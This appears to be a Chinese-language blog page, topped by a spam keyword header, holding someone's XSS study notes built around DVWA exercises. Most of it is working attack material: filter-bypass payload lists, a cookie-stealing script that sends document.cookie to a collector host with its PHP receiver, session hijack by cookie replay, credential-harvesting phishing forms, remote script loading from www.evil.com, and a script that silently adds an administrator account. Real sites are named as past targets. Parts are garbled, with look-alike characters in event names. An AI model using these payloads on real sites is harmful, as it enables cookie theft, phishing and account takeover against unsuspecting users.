日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

xss专用章节

發布時間:2025/7/14 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xss专用章节 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?

?

?

?

XSS 轉碼 ?

XSS小助手

http://web.chacuo.net/charsetjsascii??

js轉unicode

?

?

http://tool.chinaz.com/Tools/native_ascii.aspx

ascii/native 編碼互轉

?

?

?

http://zone.secevery.com/code/

xss編碼轉換(最全)

?

?

https://www.toolmao.com/xsstranser

Xss string.fromCharCode 轉換

?

?

怎么去挖掘XSS漏洞

比如說,有一個站點有搜索框,我們去查找

?

然后去查看源代碼,看它對<>”?有沒有過來,如果有,就想辦法去繞過,如果沒有,就直接構造XSS漏洞

?

?

?

?

javascript 事件和協議

  • onclick ,當鼠標點擊一下時執行一次
  • onmouseover ,當鼠標放上去時執行一次
  • onmouseout ,當鼠標移出去時執行一次
  • onmousedown ,當鼠標按下時執行一次
  • onmouseup ,當鼠標在上面松開(彈起)時執行一次
  • onmousedblclick ,當鼠標雙擊時執行一次
  • onload ,當對象加載完成時執行

什么是偽協議

偽協議不同于因特網上所真實存在的協議,如http://,https://,ftp://,

而是為關聯應用程序而使用的.如:tencent://(關聯QQ),data:(用base64編碼來在瀏覽器端輸出二進制文件),還有就是javascript:

我們可以在瀏覽地址欄里輸入"javascript:alert('JS!');",點轉到后會發現,實際上是把javascript:后面的代碼當JavaScript來執行,并將結果值返回給當前頁面。

?

類似,我們可以在a標簽的href屬性中使用javascript偽協議

?

?

?

<a href="javascript:alert('JS!');"></a>

//點擊這面的鏈接,瀏覽器并不會跳轉到任何頁面,而是顯示一個彈窗

javascript:偽協議有個問題,它會將執行結果返回給當然的頁面

<a href="javascript:window.prompt('輸入內容將替換當前頁面!','');">A</a>

?

?

?

?

?

?

Xss

?

xss漏洞發生在web前端,主要對網站用戶造成危害

?

反射型 XSS

通過xss 漏洞改造帶有攻擊腳本的URL ,發送URL給目標,觸發惡意腳本,一次性,所見即所得,一般出現在查詢類頁面

?

?

存儲型XSS

通過XSS漏洞將帶惡意腳本注入到服務器后臺(數據庫或者文件中 ),訪問該頁面觸發惡意腳本,永久性一般出現在留言板等

打開火狐,進入dvwa,級別調成低級別

?

XSS(reflected) 選項里做實驗

?

?

?

在文本框輸入 JS代碼

?

<script>alert("xss")</script>

?

?

?

?

?

?

彈出了XSS ,證明這個文本框有反射XSS

?

?

打開火狐,進入dvwa,級別調成中級別

?

這時候再用

<script>alert("xss")</script>

?提交,發現 ?????????

?

?

并沒有彈窗 猜測可能過濾的 script 腳本,但是沒有過濾HTML腳本

?

?

?

?

可以輸入 ????<scr<script>ipt> alert("kk")</script>

?

?彈窗了,成功繞過了

?

打開火狐,進入dvwa,級別調成高級別

?

?

這是 輸入 ??<scr<script>ipt> alert("kk")</script> ?不行了

返回了一個這個

?

?

現在去查看他的源代碼

?

?

?

最后輸入的是 pre 這個標簽,想辦法取消掉他

?

?

?

???使用這個語法來取消掉

????11</pre> <img src=1 ?οnerrοr=alert('xss')> <pre> 22

?

??

對文本框輸入, 反射XSS就彈出來了

?

?

?

?

證明有XSS漏洞后可以

?11</pre> <img src=http://自己帶有XSSpayload的網址> <pre> 22

?

?

?

各個級別的代碼 剖析

?

最低級別 low

<?php

?

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

????// Feedback for end user

????echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?

?> ??

?

沒有對輸入做任何的過濾,只是判斷他是否存在

?

?

?

中級別的 ?medium

?

????<?php

?

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

????// Get input

????$name = str_replace( '<script>', '', $_GET[ 'name' ] );

?

????// Feedback for end user

????echo "<pre>Hello ${name}</pre>";

}

?>

?

判斷他是否存在,并且使用了 str_replace 將輸入的結果中的 ?<script> 給替換成空,但是僅僅對含有 <script> ?的腳本有限制 可以用 <scr<script>ipt> alert("kk")</script> ?來繞過

?

?

?

?

?

?

?

?

高級別的 ?high

?

?

?<?php

?

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

????// Get input

????$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

?

????// Feedback for end user

????echo "<pre>Hello ${name}</pre>";

}

?

?>

?

?

執行了正則的搜索,一旦匹配就干掉, 但是還是只是在 script 這個字符中下了功夫,,但是可以用別的語法來做xss

?

例如: ???11</pre> <img src=1 ?οnerrοr=alert('xss')> <pre> 22

?

?

?

?

?

?

?

?

?

?

?

?

接下來介紹DOM 類型的xss

?

Dom 型xss 演示和分析 ?在服務器上對這段代碼測試

?

??<script>

?????function test(){

????? var str=document.getElementById('text').value;

????? document.getElementById('t').innerHTML="<a href=' "+str+"'> testLink</a> ";

?

?????}

?????

?????</script>

?

????<div id="t"></div>

????<input type="text" id="text" value="">

????<input type="button" id="s" value="write" οnclick="test()">

?

?

?

然后輸入 'οnclick=alert("xss") //???????

再去點擊,就會反射個xss

?

?

?不過引號可能會被過濾什么的,最好輸入

'οnclick=alert(/xss/) //

?

?

?

?

?

反射出來的 多加了個 //

?

?

解釋:首先用第一個單引號閉合掉 href 的第一個單引號,然后插入一個onclick 事件,最后再用注釋符 // ?注釋掉第二個單引號

?

?

還可以用另外一種方法

?

'> <img src=# οnerrοr=alert("xss2") /> <'

?

點擊確定

?

頁面的代碼就變成了

???<a href=''> <img src=# οnerrοr=alert(/xss2/) /> ?<'' > ??testLink </a>

?

?

?

?

?

?

?

?

?

現在切換到DVWA,設置成LOW 低級別 -切換到XSS (stored ) ?帶有XSS漏洞的留言板

?

<script>alert("xss")</script> 復制到留言板

?

?

?

?

可以看到,這里在最長這里設置了10個字符

?

右擊->編輯HTML

?

?

?

?

?

?

?然后提交

?

反射XSS就出來了,

?

?

存儲型XSS漏洞

?

PHP 中stripslashes函數表示:去除字符串中的反斜線字符,如果有兩個連續的反斜線,則只去掉一個;

?

?

現在把DVWA切換到中 級別 ??中級別的 ?medium

還是原來的樣子,繞過前端對字符的限制

輸入 <script>alert("xss")</script>

會發現,并沒有彈窗,而是

腳本過濾了,但是過濾不嚴格

?

?

可以用 <scr<script>ipt> alert("xss11111")</script> ?來繞過

高級別對script 便簽做了完美的限制,但是對腳本沒有做限制,還是可以繞過

<img src=1 ?οnerrοr=alert('xssend')>

?

還是彈窗了

?

?

?

?

?

?

?

?

?

實驗: 通過xss 盜取用戶的cookie

?

?

?

?

?

?

?

?

?

接收端寫的代碼

?

?

?

<?php

?

$cookie=$_GET['cookie']; ?//已get方式提交獲取cookie

?

$time=date('Y-m-d g:i:s '); ??// 已 "年-月-日 分:秒 顯示格式"

?

$referer=getenv('HTTP_REFERER'); ??//獲取referer

?

$cookietxt=fopen("cookiee.txt", "a+"); ??//創建并且cookie

?

fwrite($cookietxt, "time:".$time." cookie:".$cookie." referer:".$referer."\r\n"); //寫入到文件

?

fclose($cookietxt);

?

?

?

?

?

?>

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

腳本端

?

<script>document.write('<img src="http://192.168.1.61/xss/index.php?cookie='+document.cookie+'" width=0 height=0 border=0 />')</script>

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

先測試下, 192.168.1.61站點是否能接受cookie

?

192.168.1.61/xss/index.php?cookie=dwadaw

?

?

然后在 192.168.1.61 的web目錄上就生成了一個cookie

?

?

?

?

?

?

現在確認接收站點正常

?

?

?

?

進入 dvwa 把級別調至低級別 LOW

?

對著輸入框->右擊firebug ->

?

?

?

?

繞過前端的字符限制

?

xss 存儲型的代碼放上去

?

?

?

?

?

提交

?

?

然后 只要別的用戶再去瀏覽這個 留言板,他們的cookie 就會被自動盜取

?

自己模擬一個用戶去登錄

。。。。。。

?

?

?

?

?

然后進入 接收站點查看cookie

?

?

打開火狐

?

使用火狐的firebug

?

?

?

?新建cookie

?

?

?

把剛剛劫持到的cookie 放到這里

確認

?

然后把cookie 后面的網址也復制下來

?

?

?

?

?

?

?

?

對著火狐地址框輸入 進去,如果直接進去了,就證明成功了

?

?

?

?

?

?

?

?

?

?

直接進來了

?

?

?

?

如果以下不能彈窗,可能是瀏覽器版本的問題

?

彈出XSS的方法有很多種

1 利用HTML標簽

2 利用HTML標簽的屬性值來做

例子:

?<img src=1 οnerrοr="alert(/xss/)">

<input type="text" value="烏云歡迎您" ?οnclick="alert(/xss/)" />

3 ?空格回車TAB

如果XSS 過濾僅僅把敏感的輸入字符列入黑名單,如銘感字 javascript 而言,用戶可以利用空格,回車和TAB繞過限制

?

例如

<img src=”java ???script:alert(/xx/)”??widht=100>

注入,java 和script 之間的間隔不是空格鍵,而是TAB鍵添加的,把以上的代碼保存在HTML中,用IE6打開。此時IE 6會彈窗 ,但是在我自己測試的時候沒有彈窗,記住這個思路就好了

?

Var ?a=true

Var b=”im 2cto-bnsky”

如果同一行中有多個語句,那么每個語句就必須 使用分號來來結束

Var ?a=true;b=”im 2cto-bnsky”

?

除了再引號中分割單詞或強制結束語句之外,額外的空白無論已何種方式添加無所謂,下面的代碼,雖然語句中有一個換行符,但變量的賦值完全成功

?

var ?a=”hello word”;

alert(a);

?

引擎沒有把換行符解釋為語句的終止符,因為到換行符并不是一個完整的語句,JavaScript會繼續處理發現的內容,直到遇到一個分號或發現語句完整為止, 因此用戶可以構造下面的代碼形式繞過系統對javascript 等關鍵字的過濾

??<iMg srC=1 ;

???ONerror="alert(/1/)">

使用回車符分割關鍵字(拆分關鍵字)的技巧,還有大小寫,成功執行了跨站腳本代碼

?

4 ?對標簽屬性值轉碼

此外,對普通HTML標記的屬性值進行過濾,用戶還可以通過編碼處理來繞過,因為HTML中屬性值本身支持ASCII碼形式

?

<img src=”javascript:alert(‘xss’);”> ?????????//這條語句自己測試的時候是不行的

替換為

?

?<img src="javascriptt:alert(/xss/)" >

?

?

源代碼是<img src=1 οnerrοr="alert(/s/)"> 經過轉換為

?<ImG src=1;

?????onerRoR=alert(/s/)

?>

?

5 ?產生自己的事件

現在,假設用戶不能一開屬性值進行跨站,

?

??<input type="button" value="click me " οnclick="alert(YES)">

這是HTML代碼中的事件處理程序,運行這段代碼,點擊就觸發彈窗

我們把事件分為3個不同的類別

用戶接口(鼠標,鍵盤)

邏輯(處理的結果)

變化(對文檔進行的修改)

既然事件能讓javascript代碼運行,就意味著用戶也能利用它執行跨站腳本

?<img src=1 ?οnerrοr="alert(/xss/)">

測試事件腳本還有很多,

Onmouseover

...

...

..

?

?

?

?

?

?

6 ?利用CSS跨站剖析

?

例子

<div style="background-image: url("javascript:alert('xss')")"></div> ??//這個自己嘗試了不行

?

IE5 以及其后的版本在支持CSS中使用expression,使用Experssion 同樣可以觸發 XSS漏洞

?<div style="width: expression(alert('sssss'));"></div> //這條可以

?<div style="color: expression(alert('XSS'))">

?這樣也可以

?<div style="w: expression(alert('sssss'));"></div>

?

?

IE 7 。IE6 可以彈窗

?

?

??一個正常的xss 輸入

?????<img src=1 οnerrοr="alert(1)" >

?

大小寫混合

?<IMG SRC=1 οnerrοr="alert(1)" >

單引號xss

?<iMg ?SRC=1 οnerrοr= 'alert(1)' >

沒有引號的XSS

?<IMG SRC=1 οnerrοr= alert(1)>

?

沒有空格的XSS

??

?<IMG/SRC=1 οnerrοr=alert(1)>

這里的IMG標記和SRC熟悉沒有空格,而是用/隔開,依然可以彈窗

?

?

?

<a href="java script:alert(/xss/)">xss</a>

a和s 之間用tab鍵去繞過

?

?

?

???當利用expression執行跨站時,可以構造不同的全角字符來擾亂過濾規則:

?

???<XSS STYLE="xss:expEssion(alert('xss'))">

???<div style="{left:expression(alert('xss'));}"></div>  //這個是正確的XSS代碼,上面意思是擾亂過濾規則

?

?

??<div style="wid/******/th: expr/**javascript***/ession(alert('xss'))"></div>]

利用 ?/***/ s各種去繞過過濾規則

?

??樣式中的 /**/ 會被瀏覽器忽略,因此可以運用/**/ 來注釋字符,通過插入混淆字符繞過過濾

?????<XSS STYLE="xss:expr/*xss*/ession(alert('xss'))"> ????//擾亂對方的過濾規則

?????<div style="wid/*******/th:expre/*xss*/ssion(alert('xss'))">123123</div> ??//xss 彈窗 ?在IE5,IE7 有效

?

?

Expression 在IE 里有效,其實就是javascript 的意思

?

如果對方過了了Script 可以嘗試

<scr<script>ipt>alert("XSS")</scr<script>ipt>

?

?

?

?<a href=javascript:alert(/xss/)>123321</a> ?不用引號的XSS

?

?

?

<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

?

?

??<isindex action=j a vas c r ipt:alert(1) type=image>

?

?

?

base64編碼

Data協議使用方法? ?data:資源類型;編碼,內容

到目前為止 我遇到使用base64編碼的情況 大多數是這樣

<a href="可控點">

<iframe src="可控點">

在這種情況下 如果過濾了<> ' " javascript 的話 那么要xss可以這樣寫 然后利用base64編碼!

?

<a href="<script>alert(/sss/)</script>">222222222</a> //源代碼,這樣是不能彈窗的

?

?<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">adwada</a> ?//加上base64 編碼就能彈窗 ???data:text/html;base64,是固定語法

?

?

?

HTML5 新增的實體命名編碼,如

: => [冒號]? ???=> [換行

?

<a href="javascript:alert(1)">click</a>

?

解析器一般將工作分配給兩個組件——詞法分析器(有時也叫分詞器)負責將輸入分解為合法的符號,解析器則根據語言的語法規則分析文檔結構,從而構建解析樹,詞法分析器知道怎么跳過空白和換行之類的無關字符。

<a href="javascript:alert(1)">click</a>

首先html編碼被還原出來 然后就成了換行 跟冒號

<a href="javasc

ript:alert(1)">click</a>??

為什么換行后還能夠執行?是因為瀏覽器中的解析器中詞法分析器?起的作用會跳過空白跟換行之類的無效字符。換行時必須用單雙號圍住,否則不會跳過。跳過回車和換行,不支持on事件.

然后就構造成了一個完整的語句

<a href="javascript:alert(1)">click</a> 代碼成功執行

?

?

?

?

?

?

?

?

?

字符編碼:

字符編碼在跨站腳本中經常運用到,透過這種技巧,不僅能讓XSS代碼繞過服務端的過濾,還能更好的隱藏shellcode

?

?

繞過 magic_quotes_gpc

這個是 PHP里的一個安全參數

Magic_quotes_gpc=ON ?是php中的安全設置,開啟后會把一些特殊字符進行輪換,比如 ‘(單引號) ?轉換為 ??\' ????"(雙引號) 轉換為 ??\" ?????????\轉換為 \\

?

?比如 ?<script> alert("xss") </script> 會轉換成 <script>alert(\"xss\");</script> 這樣的話我們的XSS就不生效了

?

?

?針對開啟了magic_quotes_gpc 的網站,我們可以通過javascript 中的String.fromCharCode方法來繞過,我們可以把 alert("xss") 轉化為

??String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41) 那么我們的XSS語句就變成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

String.fromCharCode()是javascript中的字符串方法,用來把ASCII轉換為字符串。

?

?

可以嘗試把XSS留在管理員登錄界面,這樣的話就可以永久劫持它的cookie

?

?繞過長度限制

?<input type="text" value="$var">

?如果服務器端v在變量 $var 上做了長度限制的話,那么攻擊者可能會構造這樣的XSS

?

?$var 為 ?"> <script>alert(/xss/)</script>

??????希望達到的輸出效果是:

???????<input type="text" value=""><script>alert(/xss/)</script> "

???????假設字符長度限制為20個字節,攻擊就無法完成,那么可以利用事件

???????"οnclick=alert(1)??//

?

效果就是 <input type="text" value="" οnclick="alert(/xss/) ?">

?

?

?

?

挖洞專用彈窗代碼

?

?

script>window.setAttribute('onload',alert('xss')</script>

?

onerror ?十六進制的HTML為

onerror

?

<img src=1 οnerrοr=alert(1);> ??不要引號也能彈窗

?

<a href="javascript:alert('xss')">2</a> 點擊彈窗

?

?

?<video src=x ?????οnerrοr=prompt(1);> ?彈窗

?

?

?<div οnclick="alert('ss')">12321 </div> ???彈窗

不需要 <> / ??的彈窗

<script>

eval(`alert(1)`);

</script>

或者

<script>

window.alert("xss")

</script>

?

?

<object data="javascript:alert(1)">

?

<SvG/onlOad=alert(1)> ???//最短的一個彈窗

?

?

???<iframe/οnlοad=alert(1)>彈窗

?

?

??<body/οnpageshοw=alert(1)> ??彈窗

?

?

?<? echo('<scr'); echo('ipt>alert(/ss/)</script>');?> 彈窗

?

?

?

<marquee><script>alert(`ss`)</script></marquee> 彈窗

?

?

?

<script>var test=1;alert(test)</script> 彈窗

?

?

?

?

?eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29") ?????彈窗 ???16進制轉碼

?

???

??????eval(alert('ss')) ??????//原始代碼

??????eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0060\u0073\u0073\u0060\u0029") ?//轉換后 ?轉換后必須加上雙引號

?

?

?

?

??在某些特定的環境下,可以利用注釋繞過 長度限制

??<input type="text" id="1" value="">

??<input type="text" id="2" value="">

??在第一個 input 框輸入

????"><!--

????在第二個input框輸入

--> <script>alert(/xss/)</script>

?

?

??最終的效果是

??<input type="text" id="1" value=""> ?<! -- ?" />

???xxxxxxxxxx

??<input type="text" id="2" value=""> --> <script>alert(/xss/)</script>

?

中間的代碼全部被 ??<!--- ?-->

?

?

?

?

?

?

?

?

?

?

?

?

var search = "可控點";

document.getElementById().innerHTML=search;

以上情況很多都是出現在你搜索后 然后顯示的 你所查詢的關鍵字

如果過濾了 <> ' " & % 等等這些!然后再輸出到頁面上!

按理說這樣是安全了!但是我們把輸入的值改成 js編碼,

我們改成 <img src=x οnerrοr=alert(1)> 然后進行js八進制編碼 ==>

\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76

然后服務器端接受后 經過過濾器 沒有發現該過濾的就進入到了innerHTML中

經過js的解碼 我們的代碼又還原回來了 并且注入到了網頁中!這時候代碼執行!成功彈窗!

?

?

?

URL編碼

Javascript:偽協議后面可以使用URL編碼。

:<a href="javascript:%61lert(1)">click me</a>可成功執行彈窗

可用img就不行:<img src=1 οnerrοr=”javascript:%61lert(1)”>

因為href屬性會跳轉到其中的URL,而會進行URL解碼.onerror屬性則只會執行JS,不跳轉

同時后面的url編碼可以再做一次entity(HTML實體)編碼:

<a href="javascript:%61lert(1)">click me</a>

由于entity編碼允許&#之后插入任意多個0,再利用上javascript的注釋混淆后:

<a href="javascript: //%0a %61lert(1)">click me</a>

?

?

?

?

?

?

繞過防御

過濾了alert(1)的括號,可以用alert`1`??//反引號

利用js字符串模塊??eval.call`${'\141\154\145\162\164\50\61\51'}`

轉換大小寫<scRiPt>alert(1)<ScRipt>

繞過Php的htmlspecialchars()

Php的htmlspecialchars()默認能將< > & “轉成< > & "

如果用了htmlspecialchars($name, ENT_QUOTES);? ?則 ’ 也會被轉成 '

如果用了 htmlspecialchars ($name, ENT_NOQUOTES);則單雙引號都不會被轉換。

Js中可用以下代碼繞過

Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))

Html中可用以下代碼繞過:

‘ οnmοuseοver=’alert(1)

源代碼是<input type=”text” value=””>

變成了<input type=”text” value=” ‘οnmοuseοver=’alert(1)”>

這個沒試過,不知道行不行~~~

?

?

?

單引號或者是 ~鍵盤上的反引號 ?你都試試

?

?

?

2.php源代碼

<?php

$name = $_GET["name"];

$name = htmlspecialchars($name);

?>

<input type='text' value='<?php echo $name?>'>

地址欄輸入http://127.0.0.1/2.php?name=’ οnmοuseοver=’alert(1)后回車

然后將鼠標移到那個框框后, 彈出彈窗.

我自己試了 ,沒彈窗

?

?

Xss釣魚(掛馬):

(1)xss重定向釣魚

如自己建一個釣魚網站www.xiumu.com, 然后受害者訪問如下地址http://www.test.com/a.php?id=””><script>document.location.href=”http://www.xiumu.com”</script>

或者http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=0 width=0 ></iframe>

?

?

?

(2)HTML注入式釣魚

直接利用XSS漏洞注射HTML/js 代碼到頁面中.可寫一個正常的HTML表單來竊取賬號密碼.如:http://www.test.com/a.php?id=””<html><head><title>login</title></head><body><div style=”text-align:center;”><form method=”POST” action=”xiumu.php” name=”form”><br/><p>username</p><input type=”text” value=”” name=”a”><p>password</p><input type=”password” name=”b” value=””><br/><input type=”submit” value=”login”></form></body></html>

這樣當用戶直接填入賬號密碼提交后,你就可以在xiumu.php接收到受害者的賬號密碼了.

Xiumu.php代碼:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?>

(3)Xss跨框架釣魚

這種方式是通過<iframe>嵌入遠程域的一個頁面實施釣魚,http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=”100%” width=”100%”></iframe>通過將www.xiumu.com的頁面做的和test的頁面相同(可利用iframe實現),但受害者看到的不是真正的test頁面,而是xiumu頁面.

?

?

?

騰訊微博曾經的XSS漏洞

?

<a href="###" οnclick="setTimeout(function(){ UI.remove($('upload_pic_container')) }, 10); MI.talk('分享活動','#x');alert(document.cookie);//#這個活動【xx】挺好玩,大家快來參加吧,地址是http://event.t.qq.com/x', 80, null, function(){window.location.reload()} );">分享</a><span>|

?

?

?

由于瀏覽器解析頁面的時候會先把'解碼成',從而在onclick的javascript環境下形成單引號閉合,從而當點擊“分享”即可觸發我們插入的代碼。

?

?

?

?

IE6-IE8,IE9的兼容模式有效的xss,插入如下的代碼,當鼠標點擊test即觸發xss。

?

<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">test</a>

?

貌似只能是a標簽有效

?

?

Xss 的基本概念

  • XSS的存在,一定是伴隨著輸入,與輸出2個概念的。
  • 要想過濾掉XSS,你可以在輸入層面過濾,也可以在輸出層面過濾。
  • 如果輸入和輸出都沒過濾。 那么漏洞將是顯而易見的
  • 作為第一個最基礎的例子, 我們拿出的是一個什么都沒過濾(其實還是有些轉義的,主要沒過濾< , >)的例子。 這種例子出現在騰訊這種大網站的概率不是很高。 但是還是讓我找到了一個。
  • http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886
  • 對于上面這個例子。我們可以看到什么是輸入,什么是輸出
  • . 經過測試,我們發現,score這個【輸入】參數,沒有進行任何過濾,

    即,輸入是什么,輸出就是什么? 通俗點就是“吃什么,拉什么”。。

    如下圖

  • ?

  • ?

    ?

    ?

    ?

    ?

    ?

  • 既然可以直接輸入 < > HTML標簽,接下來的利用也就相對簡單了。
  • ?

    ?

    http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<img src=1 οnerrοr=alert(1);>&func=haoping&_=1353475261886

    ?

    ?

    ?

    eval() 也可以執行10進制形式的文本,但是需要配合String.fromCharCode 函數的使用

    string.fromcharcode()用于將字符轉化為ascii值

    ?

    ?

    例子

    <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ???<a href="javascript:alert(/sss/)">sss</a> ??????//原始代碼。利用偽造協議

    ?

    ?????10進制編碼以后 ?????

    ?

    ?

    ???????????<a href="javascript:alert(/sss/)">sss</a>

    彈窗

    ?

    ?

    ?

    ?動態調用遠程javascript

    ?假設www.bug.com 的某個頁面存在一個含有XSS漏洞 exploit 如下

    ?

    ?http://www.bug.com/veiw.php?sort=[exploit]

    ?

    ?????可以直接把shellcode 寫到URL參數中

    ??????http://www.bug.com/veiw.php?sort=<script>alert(/xss/)</script>

    ?

    ?????因為種種限制,所以只需寫一個script標簽引用自己的惡意站點進行動態的加載,這樣的話我們可以在我們的站點寫上任意代碼然后被漏洞站點加載

    ?

    ?

    ?

    ?除了使用 <script>標簽動態的調用遠程javascript ,還可以運用基于DOM的方法創建和插入節點,把腳本注入到HTML網頁里

    ?

    ?

    ?<script>

    ?? var s=document.createELement("script");

    ?? s.src="http://www.baidu.com/1.js";

    ?? document.getElementsByTagName('head')[0].appendChild(s)

    ??</script>

    ?

    ?

    ?

    location.hash 用法

    ??#alert('xss')" >http://www.bug.comv/vriw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

    ?

    ?

    ?

    substr() 可在字符串中抽取從start下標(這里是1)開始的制定數目的字符,所以location.hash.substr(1) 的作用是抽取 ?“#”?符號后面的字符,即 alert(‘xss’) 而 eval() 函數用來計算某字符串,并執行其中的javascript 代碼,通過這種技巧,就能先把shellcode 寫到地址參數再執行,

    ?

    ?

    ?

    ?

    ?

    一段XSS的payload

    某網站同學留言的貼圖URL輸入框出現過XSS,主要是onload 事件來觸發

    在留言的貼圖URL的輸出框里填寫

    editor/uploadfile/2016/2/123123123.gig" οnlοad="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('---)eval(unescape(t.substring(s,e)))">

    ?

    在留言框內容填寫

    ?

    xss代碼觸發以后,會調用留言內容中的+++和---之間部分代碼,對這段代碼解碼后得到核心的shellcode如下

    ?

    ?

    ?try{

    ? var as=document.getElementsByTagName('a'); ??

    ? var frm=document.getElementsByTagName('iframe')[0];

    ? frm.οnlοad=function(){

    ? var oFrm=document.getElementsByTagName('iframe')[0]; ??

    ? oFrm.οnlοad="";

    ? var oDoc=oFrm.contentWindow.document;

    ? oDoc.all["who"][1].checked=true;

    ? oDoc.dealmember.action="backation/updateclassmate.jsp?f=1";

    ? oDoc.dealmember.submit();

    ?

    ? }

    ? frm.src=as[34].href

    ?}catch(e){

    ? alert(e)

    ?}

    ????????

    ????????大概意思就是 獲取所有的a標簽 獲取第一個iframe,定義一個加載的函數,獲取第一個iframe標簽,設置它的參數,提交到backation/updateclassmate.jsp?f=1這個網頁中,自動提交, iframe 的內容也就是src 和頁面上的某個a標簽的src 是一樣的,就等于是新建了一個iframe框架,里面的內容就是頁面上的a標簽的內容,并且自動提交。就是頁面跳轉劫持的意思

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    cookie 常見屬性

    Domain-設置關聯cookie 的域名

    Expires-通過給定一個過期時間來創建一個持久化cookie

    httponly-用于避免cookie被javascript訪問

    name-cookie 的名稱

    path-關聯到cookie的路徑,默認為/

    value- 讀寫cookie 的值

    secure- 用于指定cookie需要通過安全socket層連接傳遞

    ?

    ?

    ?

    創建cookie,需要提供cookie 的名字,對應值,過期時間和相關路徑

    php設置

    <?

    setcookie(‘user_id’,123) ??//創建一個cookie變量user_id=123

    ?>

    ?

    刪除cookie

    setcookie(‘user_id’,0,time()-1)

    ?

    在瀏覽器輸出

    javascript:alert(document.cookie) ?就能知道cookie

    ?

    攻擊者可以通過以下幾種方式獲取cookie

    ?

    ?

    ?

    ?

    ?

    自己寫一個請求添加賬號密碼的XSS ?shellcode, 關于ajax 如果忘了,可以去看前端的筆記.dox

    ?

    ?

    請求的URL

    /admin/adminuser/admiuser_add.asp

    請求的POST數據

    username=123456&password=123456=password=123456&purview=..........&submit=.........

    ?

    ?

    xssshellcode 如下

    <script>

    var request=false;

    if(window.XMLHttpRequest){

    request=new XMLHttpRequest();

    if(request.overrideMimeType){

    request.overrideMimeType('text/xml');

    }

    }else if(window.ActiveXObject){

    var versions=['Microsoft.XMLHTTP','MSXML.XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTP.6.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];

    for(var i=0;i<versions.length;i++){

    try{

    request=new ActiveXObject(versions[i])

    }catch(e){}

    }

    }

    xmlhttp=request

    add_admin();

    function add_admin(){

    var url="/admin/adminuser/admiuser_add.asp"; ?//請求地址

    var params="username=xss&password=123456=password=123456&purview=..........&submit=........." ??//提交的數據,也就是修改密碼的數據

    xmlhttp.open("POST",url,true);

    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

    xmlhttp.setRequestHeader("Content-length",params.length);

    xmlhttp.setRequestHeader("Connection","close");

    xmlhttp.send(params);

    }

    ?????上述代碼簡單的利用xmlhttp對象發送一個POST請求,由于該請求上帶上了被攻擊的COOkie 并一同發送到服務端,所以能在后臺悄悄添加一個管理員

    ?

    ?

    ?

    ?

    ?

    做釣魚網站,并且保存密碼后頁面跳轉

    ?

    <form action="http://192.168.111.102/stong.php" method="post">

    ?<input type="text" name="user">

    ?<input type="pass" name="pass">

    ?<input type="submit">

    </form>

    ?

    ?

    ?

    ?

    <?php

    $data=fopen("123.txt", "a+");

    @$a=$_POST['user'];

    @$b=$_POST['pass'];

    fwrite($data, $a);

    fwrite($data, $b);

    header("location:http://www.baidu.com");

    ?

    ?>

    接受完頁面以后立馬瞬間跳轉到百度

    ?

    ?

    XSS釣魚欺騙

    ??攻擊者在XSS頁面插入利用代碼

    ????????http://www.bug.com/index.php?s=<Script src=http://www.evil.com/xss.js></Script>

    ????????當用戶訪問這個鏈接時,就會動態調用遠程的xss.js的文件,該文件的作用是創建一個iframe框架覆蓋目標頁面,再加載遠程域偽造的釣魚頁面

    ?

    ????????這里使用document.body.innerHTML方法插入代碼

    ?

    ??????? document.body.innerHTML=('<div style="position: absolute;top: 0px;left: 0px;width: 100%;height: 100%;">'+'<iframe src=http://www.evil.com/phishing.html ?width="100%;" height="100%">'+'</iframe></div>');

    ???

    這樣的效果就是動態的調用了一個自己寫的危害的頁面覆蓋了原本的頁面

    ?

    ?

    ?

